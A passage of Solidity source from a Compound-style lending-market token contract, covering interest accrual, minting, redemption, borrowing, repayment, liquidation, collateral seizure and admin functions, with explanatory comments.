(mathErr, interestAccumulated) = mulScalarTruncate(simpleInterestFactor, borrowsPrior); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_ACCUMULATED_INTEREST_CALCULATION_FAILED, uint(mathErr)); } (mathErr, totalBorrowsNew) = addUInt(interestAccumulated, borrowsPrior); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_TOTAL_BORROWS_CALCULATION_FAILED, uint(mathErr)); } (mathErr, totalReservesNew) = mulScalarTruncateAddUInt(Exp({mantissa: reserveFactorMantissa}), interestAccumulated, reservesPrior); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_TOTAL_RESERVES_CALCULATION_FAILED, uint(mathErr)); } (mathErr, borrowIndexNew) = mulScalarTruncateAddUInt(simpleInterestFactor, borrowIndexPrior, borrowIndexPrior); if (mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_BORROW_INDEX_CALCULATION_FAILED, uint(mathErr)); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* We write the previously calculated values into storage */ accrualBlockNumber = currentBlockNumber; borrowIndex = borrowIndexNew; totalBorrows = totalBorrowsNew; totalReserves = totalReservesNew; /* We emit an AccrueInterest event */ emit AccrueInterest(cashPrior, interestAccumulated, borrowIndexNew, totalBorrowsNew); return uint(Error.NO_ERROR); } /** * @notice Sender supplies assets into the market and receives cTokens in exchange * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param mintAmount The amount of the underlying asset to supply * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual mint amount. */ function mintInternal(uint mintAmount) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return (fail(Error(error), FailureInfo.MINT_ACCRUE_INTEREST_FAILED), 0); } // mintFresh emits the actual Mint event if successful and logs on errors, so we don't need to return mintFresh(msg.sender, mintAmount); } struct MintLocalVars { Error err; MathError mathErr; uint exchangeRateMantissa; uint mintTokens; uint totalSupplyNew; uint accountTokensNew; uint actualMintAmount; } /** * @notice User supplies assets into the market and receives cTokens in exchange * @dev Assumes interest has already been accrued up to the current block * @param minter The address of the account which is supplying the assets * @param mintAmount The amount of the underlying asset to supply * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual mint amount. */ function mintFresh(address minter, uint mintAmount) internal returns (uint, uint) { /* Fail if mint not allowed */ uint allowed = comptroller.mintAllowed(address(this), minter, mintAmount); if (allowed != 0) { return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.MINT_COMPTROLLER_REJECTION, allowed), 0); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.MINT_FRESHNESS_CHECK), 0); } MintLocalVars memory vars; (vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal(); if (vars.mathErr != MathError.NO_ERROR) { return (failOpaque(Error.MATH_ERROR, FailureInfo.MINT_EXCHANGE_RATE_READ_FAILED, uint(vars.mathErr)), 0); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We call `doTransferIn` for the minter and the mintAmount. * Note: The cToken must handle variations between ERC-20 and ETH underlying. * `doTransferIn` reverts if anything goes wrong, since we can't be sure if * side-effects occurred. The function returns the amount actually transferred, * in case of a fee. On success, the cToken holds an additional `actualMintAmount` * of cash. */ vars.actualMintAmount = doTransferIn(minter, mintAmount); /* * We get the current exchange rate and calculate the number of cTokens to be minted: * mintTokens = actualMintAmount / exchangeRate */ (vars.mathErr, vars.mintTokens) = divScalarByExpTruncate(vars.actualMintAmount, Exp({mantissa: vars.exchangeRateMantissa})); require(vars.mathErr == MathError.NO_ERROR, "MINT_EXCHANGE_CALCULATION_FAILED"); /* * We calculate the new total supply of cTokens and minter token balance, checking for overflow: * totalSupplyNew = totalSupply + mintTokens * accountTokensNew = accountTokens[minter] + mintTokens */ (vars.mathErr, vars.totalSupplyNew) = addUInt(totalSupply, vars.mintTokens); require(vars.mathErr == MathError.NO_ERROR, "MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED"); (vars.mathErr, vars.accountTokensNew) = addUInt(accountTokens[minter], vars.mintTokens); require(vars.mathErr == MathError.NO_ERROR, "MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED"); /* We write previously calculated values into storage */ totalSupply = vars.totalSupplyNew; accountTokens[minter] = vars.accountTokensNew; /* We emit a Mint event, and a Transfer event */ emit Mint(minter, vars.actualMintAmount, vars.mintTokens); emit Transfer(address(this), minter, vars.mintTokens); /* We call the defense hook */ comptroller.mintVerify(address(this), minter, vars.actualMintAmount, vars.mintTokens); return (uint(Error.NO_ERROR), vars.actualMintAmount); } /** * @notice Sender redeems cTokens in exchange for the underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemTokens The number of cTokens to redeem into underlying * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemInternal(uint redeemTokens) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED); } // redeemFresh emits redeem-specific logs on errors, so we don't need to return redeemFresh(msg.sender, redeemTokens, 0); } /** * @notice Sender redeems cTokens in exchange for a specified amount of underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemAmount The amount of underlying to receive from redeeming cTokens * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemUnderlyingInternal(uint redeemAmount) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED); } // redeemFresh emits redeem-specific logs on errors, so we don't need to return redeemFresh(msg.sender, 0, redeemAmount); } struct RedeemLocalVars { Error err; MathError mathErr; uint exchangeRateMantissa; uint redeemTokens; uint redeemAmount; uint totalSupplyNew; uint accountTokensNew; } /** * @notice User redeems cTokens in exchange for the underlying asset * @dev Assumes interest has already been accrued up to the current block * @param redeemer The address of the account which is redeeming the tokens * @param redeemTokensIn The number of cTokens to redeem into underlying (only one of redeemTokensIn or redeemAmountIn may be non-zero) * @param redeemAmountIn The number of underlying tokens to receive from redeeming cTokens (only one of redeemTokensIn or redeemAmountIn may be non-zero) * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemFresh(address payable redeemer, uint redeemTokensIn, uint redeemAmountIn) internal returns (uint) { require(redeemTokensIn == 0 || redeemAmountIn == 0, "one of redeemTokensIn or redeemAmountIn must be zero"); RedeemLocalVars memory vars; /* exchangeRate = invoke Exchange Rate Stored() */ (vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal(); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_RATE_READ_FAILED, uint(vars.mathErr)); } /* If redeemTokensIn > 0: */ if (redeemTokensIn > 0) { /* * We calculate the exchange rate and the amount of underlying to be redeemed: * redeemTokens = redeemTokensIn * redeemAmount = redeemTokensIn x exchangeRateCurrent */ vars.redeemTokens = redeemTokensIn; (vars.mathErr, vars.redeemAmount) = mulScalarTruncate(Exp({mantissa: vars.exchangeRateMantissa}), redeemTokensIn); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED, uint(vars.mathErr)); } } else { /* * We get the current exchange rate and calculate the amount to be redeemed: * redeemTokens = redeemAmountIn / exchangeRate * redeemAmount = redeemAmountIn */ (vars.mathErr, vars.redeemTokens) = divScalarByExpTruncate(redeemAmountIn, Exp({mantissa: vars.exchangeRateMantissa})); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED, uint(vars.mathErr)); } vars.redeemAmount = redeemAmountIn; } /* Fail if redeem not allowed */ uint allowed = comptroller.redeemAllowed(address(this), redeemer, vars.redeemTokens); if (allowed != 0) { return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.REDEEM_COMPTROLLER_REJECTION, allowed); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDEEM_FRESHNESS_CHECK); } /* * We calculate the new total supply and redeemer balance, checking for underflow: * totalSupplyNew = totalSupply - redeemTokens * accountTokensNew = accountTokens[redeemer] - redeemTokens */ (vars.mathErr, vars.totalSupplyNew) = subUInt(totalSupply, vars.redeemTokens); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, uint(vars.mathErr)); } (vars.mathErr, vars.accountTokensNew) = subUInt(accountTokens[redeemer], vars.redeemTokens); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)); } /* Fail gracefully if protocol has insufficient cash */ if (getCashPrior() < vars.redeemAmount) { return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDEEM_TRANSFER_OUT_NOT_POSSIBLE); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We invoke doTransferOut for the redeemer and the redeemAmount. * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken has redeemAmount less of cash. * doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred. */ doTransferOut(redeemer, vars.redeemAmount); /* We write previously calculated values into storage */ totalSupply = vars.totalSupplyNew; accountTokens[redeemer] = vars.accountTokensNew; /* We emit a Transfer event, and a Redeem event */ emit Transfer(redeemer, address(this), vars.redeemTokens); emit Redeem(redeemer, vars.redeemAmount, vars.redeemTokens); /* We call the defense hook */ comptroller.redeemVerify(address(this), redeemer, vars.redeemAmount, vars.redeemTokens); return uint(Error.NO_ERROR); } /** * @notice Sender borrows assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrowInternal(uint borrowAmount) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return fail(Error(error), FailureInfo.BORROW_ACCRUE_INTEREST_FAILED); } // borrowFresh emits borrow-specific logs on errors, so we don't need to return borrowFresh(msg.sender, borrowAmount); } struct BorrowLocalVars { MathError mathErr; uint accountBorrows; uint accountBorrowsNew; uint totalBorrowsNew; } /** * @notice Users borrow assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrowFresh(address payable borrower, uint borrowAmount) internal returns (uint) { /* Fail if borrow not allowed */ uint allowed = comptroller.borrowAllowed(address(this), borrower, borrowAmount); if (allowed != 0) { return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.BORROW_COMPTROLLER_REJECTION, allowed); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.BORROW_FRESHNESS_CHECK); } /* Fail gracefully if protocol has insufficient underlying cash */ if (getCashPrior() < borrowAmount) { return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.BORROW_CASH_NOT_AVAILABLE); } BorrowLocalVars memory vars; /* * We calculate the new borrower and total borrow balances, failing on overflow: * accountBorrowsNew = accountBorrows + borrowAmount * totalBorrowsNew = totalBorrows + borrowAmount */ (vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(borrower); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)); } (vars.mathErr, vars.accountBorrowsNew) = addUInt(vars.accountBorrows, borrowAmount); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)); } (vars.mathErr, vars.totalBorrowsNew) = addUInt(totalBorrows, borrowAmount); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We invoke doTransferOut for the borrower and the borrowAmount. * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken borrowAmount less of cash. * doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred. */ doTransferOut(borrower, borrowAmount); /* We write the previously calculated values into storage */ accountBorrows[borrower].principal = vars.accountBorrowsNew; accountBorrows[borrower].interestIndex = borrowIndex; totalBorrows = vars.totalBorrowsNew; /* We emit a Borrow event */ emit Borrow(borrower, borrowAmount, vars.accountBorrowsNew, vars.totalBorrowsNew); /* We call the defense hook */ comptroller.borrowVerify(address(this), borrower, borrowAmount); return uint(Error.NO_ERROR); } /** * @notice Sender repays their own borrow * @param repayAmount The amount to repay * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function repayBorrowInternal(uint repayAmount) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return (fail(Error(error), FailureInfo.REPAY_BORROW_ACCRUE_INTEREST_FAILED), 0); } // repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to return repayBorrowFresh(msg.sender, msg.sender, repayAmount); } /** * @notice Sender repays a borrow belonging to borrower * @param borrower the account with the debt being payed off * @param repayAmount The amount to repay * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function repayBorrowBehalfInternal(address borrower, uint repayAmount) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return (fail(Error(error), FailureInfo.REPAY_BEHALF_ACCRUE_INTEREST_FAILED), 0); } // repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to return repayBorrowFresh(msg.sender, borrower, repayAmount); } struct RepayBorrowLocalVars { Error err; MathError mathErr; uint repayAmount; uint borrowerIndex; uint accountBorrows; uint accountBorrowsNew; uint totalBorrowsNew; uint actualRepayAmount; } /** * @notice Borrows are repaid by another user (possibly the borrower). * @param payer the account paying off the borrow * @param borrower the account with the debt being payed off * @param repayAmount the amount of undelrying tokens being returned * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function repayBorrowFresh(address payer, address borrower, uint repayAmount) internal returns (uint, uint) { /* Fail if repayBorrow not allowed */ uint allowed = comptroller.repayBorrowAllowed(address(this), payer, borrower, repayAmount); if (allowed != 0) { return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.REPAY_BORROW_COMPTROLLER_REJECTION, allowed), 0); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.REPAY_BORROW_FRESHNESS_CHECK), 0); } RepayBorrowLocalVars memory vars; /* We remember the original borrowerIndex for verification purposes */ vars.borrowerIndex = accountBorrows[borrower].interestIndex; /* We fetch the amount the borrower owes, with accumulated interest */ (vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(borrower); if (vars.mathErr != MathError.NO_ERROR) { return (failOpaque(Error.MATH_ERROR, FailureInfo.REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, uint(vars.mathErr)), 0); } /* If repayAmount == -1, repayAmount = accountBorrows */ if (repayAmount == uint(-1)) { vars.repayAmount = vars.accountBorrows; } else { vars.repayAmount = repayAmount; } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We call doTransferIn for the payer and the repayAmount * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken holds an additional repayAmount of cash. * doTransferIn reverts if anything goes wrong, since we can't be sure if side effects occurred. * it returns the amount actually transferred, in case of a fee. */ vars.actualRepayAmount = doTransferIn(payer, vars.repayAmount); /* * We calculate the new borrower and total borrow balances, failing on underflow: * accountBorrowsNew = accountBorrows - actualRepayAmount * totalBorrowsNew = totalBorrows - actualRepayAmount */ (vars.mathErr, vars.accountBorrowsNew) = subUInt(vars.accountBorrows, vars.actualRepayAmount); require(vars.mathErr == MathError.NO_ERROR, "REPAY_BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED"); (vars.mathErr, vars.totalBorrowsNew) = subUInt(totalBorrows, vars.actualRepayAmount); require(vars.mathErr == MathError.NO_ERROR, "REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED"); /* We write the previously calculated values into storage */ accountBorrows[borrower].principal = vars.accountBorrowsNew; accountBorrows[borrower].interestIndex = borrowIndex; totalBorrows = vars.totalBorrowsNew; /* We emit a RepayBorrow event */ emit RepayBorrow(payer, borrower, vars.actualRepayAmount, vars.accountBorrowsNew, vars.totalBorrowsNew); /* We call the defense hook */ comptroller.repayBorrowVerify(address(this), payer, borrower, vars.actualRepayAmount, vars.borrowerIndex); return (uint(Error.NO_ERROR), vars.actualRepayAmount); } /** * @notice The sender liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @param borrower The borrower of this cToken to be liquidated * @param cTokenCollateral The market in which to seize collateral from the borrower * @param repayAmount The amount of the underlying borrowed asset to repay * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function liquidateBorrowInternal(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED), 0); } error = cTokenCollateral.accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED), 0); } // liquidateBorrowFresh emits borrow-specific logs on errors, so we don't need to return liquidateBorrowFresh(msg.sender, borrower, repayAmount, cTokenCollateral); } /** * @notice The liquidator liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @param borrower The borrower of this cToken to be liquidated * @param liquidator The address repaying the borrow and seizing collateral * @param cTokenCollateral The market in which to seize collateral from the borrower * @param repayAmount The amount of the underlying borrowed asset to repay * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount. */ function liquidateBorrowFresh(address liquidator, address borrower, uint repayAmount, CTokenInterface cTokenCollateral) internal returns (uint, uint) { /* Fail if liquidate not allowed */ uint allowed = comptroller.liquidateBorrowAllowed(address(this), address(cTokenCollateral), liquidator, borrower, repayAmount); if (allowed != 0) { return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.LIQUIDATE_COMPTROLLER_REJECTION, allowed), 0); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_FRESHNESS_CHECK), 0); } /* Verify cTokenCollateral market's block number equals current block number */ if (cTokenCollateral.accrualBlockNumber() != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_COLLATERAL_FRESHNESS_CHECK), 0); } /* Fail if borrower = liquidator */ if (borrower == liquidator) { return (fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_LIQUIDATOR_IS_BORROWER), 0); } /* Fail if repayAmount = 0 */ if (repayAmount == 0) { return (fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_ZERO), 0); } /* Fail if repayAmount = -1 */ if (repayAmount == uint(-1)) { return (fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX), 0); } /* Fail if repayBorrow fails */ (uint repayBorrowError, uint actualRepayAmount) = repayBorrowFresh(liquidator, borrower, repayAmount); if (repayBorrowError != uint(Error.NO_ERROR)) { return (fail(Error(repayBorrowError), FailureInfo.LIQUIDATE_REPAY_BORROW_FRESH_FAILED), 0); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* We calculate the number of collateral tokens that will be seized */ (uint amountSeizeError, uint seizeTokens) = comptroller.liquidateCalculateSeizeTokens(address(this), address(cTokenCollateral), actualRepayAmount); require(amountSeizeError == uint(Error.NO_ERROR), "LIQUIDATE_COMPTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED"); /* Revert if borrower collateral token balance < seizeTokens */ require(cTokenCollateral.balanceOf(borrower) >= seizeTokens, "LIQUIDATE_SEIZE_TOO_MUCH"); // If this is also the collateral, run seizeInternal to avoid re-entrancy, otherwise make an external call uint seizeError; if (address(cTokenCollateral) == address(this)) { seizeError = seizeInternal(address(this), liquidator, borrower, seizeTokens); } else { seizeError = cTokenCollateral.seize(liquidator, borrower, seizeTokens); } /* Revert if seize tokens fails (since we cannot be sure of side effects) */ require(seizeError == uint(Error.NO_ERROR), "token seizure failed"); /* We emit a LiquidateBorrow event */ emit LiquidateBorrow(liquidator, borrower, actualRepayAmount, address(cTokenCollateral), seizeTokens); /* We call the defense hook */ comptroller.liquidateBorrowVerify(address(this), address(cTokenCollateral), liquidator, borrower, actualRepayAmount, seizeTokens); return (uint(Error.NO_ERROR), actualRepayAmount); } /** * @notice Transfers collateral tokens (this market) to the liquidator. * @dev Will fail unless called by another cToken during the process of liquidation. * Its absolutely critical to use msg.sender as the borrowed cToken and not a parameter. * @param liquidator The account receiving seized collateral * @param borrower The account having collateral seized * @param seizeTokens The number of cTokens to seize * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function seize(address liquidator, address borrower, uint seizeTokens) external nonReentrant returns (uint) { return seizeInternal(msg.sender, liquidator, borrower, seizeTokens); } struct SeizeInternalLocalVars { MathError mathErr; uint borrowerTokensNew; uint liquidatorTokensNew; uint liquidatorSeizeTokens; uint protocolSeizeTokens; uint protocolSeizeAmount; uint exchangeRateMantissa; uint totalReservesNew; uint totalSupplyNew; } /** * @notice Transfers collateral tokens (this market) to the liquidator. * @dev Called only during an in-kind liquidation, or by liquidateBorrow during the liquidation of another CToken. * Its absolutely critical to use msg.sender as the seizer cToken and not a parameter. * @param seizerToken The contract seizing the collateral (i.e. borrowed cToken) * @param liquidator The account receiving seized collateral * @param borrower The account having collateral seized * @param seizeTokens The number of cTokens to seize * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function seizeInternal(address seizerToken, address liquidator, address borrower, uint seizeTokens) internal returns (uint) { /* Fail if seize not allowed */ uint allowed = comptroller.seizeAllowed(address(this), seizerToken, liquidator, borrower, seizeTokens); if (allowed != 0) { return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.LIQUIDATE_SEIZE_COMPTROLLER_REJECTION, allowed); } /* Fail if borrower = liquidator */ if (borrower == liquidator) { return fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER); } SeizeInternalLocalVars memory vars; /* * We calculate the new borrower and liquidator token balances, failing on underflow/overflow: * borrowerTokensNew = accountTokens[borrower] - seizeTokens * liquidatorTokensNew = accountTokens[liquidator] + seizeTokens */ (vars.mathErr, vars.borrowerTokensNew) = subUInt(accountTokens[borrower], seizeTokens); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED, uint(vars.mathErr)); } vars.protocolSeizeTokens = mul_(seizeTokens, Exp({mantissa: protocolSeizeShareMantissa})); vars.liquidatorSeizeTokens = sub_(seizeTokens, vars.protocolSeizeTokens); (vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal(); require(vars.mathErr == MathError.NO_ERROR, "exchange rate math error"); vars.protocolSeizeAmount = mul_ScalarTruncate(Exp({mantissa: vars.exchangeRateMantissa}), vars.protocolSeizeTokens); vars.totalReservesNew = add_(totalReserves, vars.protocolSeizeAmount); vars.totalSupplyNew = sub_(totalSupply, vars.protocolSeizeTokens); (vars.mathErr, vars.liquidatorTokensNew) = addUInt(accountTokens[liquidator], vars.liquidatorSeizeTokens); if (vars.mathErr != MathError.NO_ERROR) { return failOpaque(Error.MATH_ERROR, FailureInfo.LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED, uint(vars.mathErr)); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* We write the previously calculated values into storage */ totalReserves = vars.totalReservesNew; totalSupply = vars.totalSupplyNew; accountTokens[borrower] = vars.borrowerTokensNew; accountTokens[liquidator] = vars.liquidatorTokensNew; /* Emit a Transfer event */ emit Transfer(borrower, liquidator, vars.liquidatorSeizeTokens); emit Transfer(borrower, address(this), vars.protocolSeizeTokens); emit ReservesAdded(address(this), vars.protocolSeizeAmount, vars.totalReservesNew); /* We call the defense hook */ // unused function // comptroller.seizeVerify(address(this), seizerToken, liquidator, borrower, seizeTokens); return uint(Error.NO_ERROR); } /*** Admin Functions ***/ /** * @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @param newPendingAdmin New pending admin. * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPendingAdmin(address payable newPendingAdmin) external returns (uint) { // Check caller = admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK); } // Save current value, if any, for inclusion in log address oldPendingAdmin = pendingAdmin; // Store pendingAdmin with value newPendingAdmin pendingAdmin = newPendingAdmin; // Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin) emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin); return uint(Error.NO_ERROR); } /** * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin * @dev Admin function for pending admin to accept role and update admin * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptAdmin() external returns (uint) { // Check caller is pendingAdmin and pendingAdmin ≠ address(0) if (msg.sender != pendingAdmin || msg.sender == address(0)) { return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK); } // Save current values for inclusion in log address oldAdmin = admin; address oldPendingAdmin = pendingAdmin; // Store admin with value pendingAdmin admin = pendingAdmin; // Clear the pending value pendingAdmin = address(0); emit NewAdmin(oldAdmin, admin); emit NewPendingAdmin(oldPendingAdmin, pendingAdmin); return uint(Error.NO_ERROR); } /** * @notice Sets a new comptroller for the market * @dev Admin function to set a new comptroller * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setComptroller(ComptrollerInterface newComptroller) public returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_COMPTROLLER_OWNER_CHECK); } ComptrollerInterface oldComptroller = comptroller; // Ensure invoke comptroller.isComptroller() returns true require(newComptroller.isComptroller(), "marker method returned false"); // Set market's comptroller to newComptroller comptroller = newComptroller; // Emit NewComptroller(oldComptroller, newComptroller) emit NewComptroller(oldComptroller, newComptroller); return uint(Error.NO_ERROR); } /** * @notice Sets a new protocol seize share (when liquidating) for the protocol * @dev Admin function to set a new protocol seize share * @return uint 0=success, otherwise revert */ function _setProtocolSeizeShare(uint newProtocolSeizeShareMantissa) external returns (uint) { // Check caller is admin require(msg.sender == admin, "Caller is not Admin"); require(newProtocolSeizeShareMantissa <= 1e18, "Protocol seize share must be < 100%"); uint oldProtocolSeizeShareMantissa = protocolSeizeShareMantissa; protocolSeizeShareMantissa = newProtocolSeizeShareMantissa; emit NewProtocolSeizeShare(oldProtocolSeizeShareMantissa, newProtocolSeizeShareMantissa); return uint(Error.NO_ERROR); } /** * @notice accrues interest and sets a new reserve factor for the protocol using _setReserveFactorFresh * @dev Admin function to accrue interest and set a new reserve factor * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setReserveFactor(uint newReserveFactorMantissa) external nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reserve factor change failed. return fail(Error(error), FailureInfo.SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED); } // _setReserveFactorFresh emits reserve-factor-specific logs on errors, so we don't need to. return _setReserveFactorFresh(newReserveFactorMantissa); } /** * @notice Sets a new reserve factor for the protocol (*requires fresh interest accrual) * @dev Admin function to set a new reserve factor * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setReserveFactorFresh(uint newReserveFactorMantissa) internal 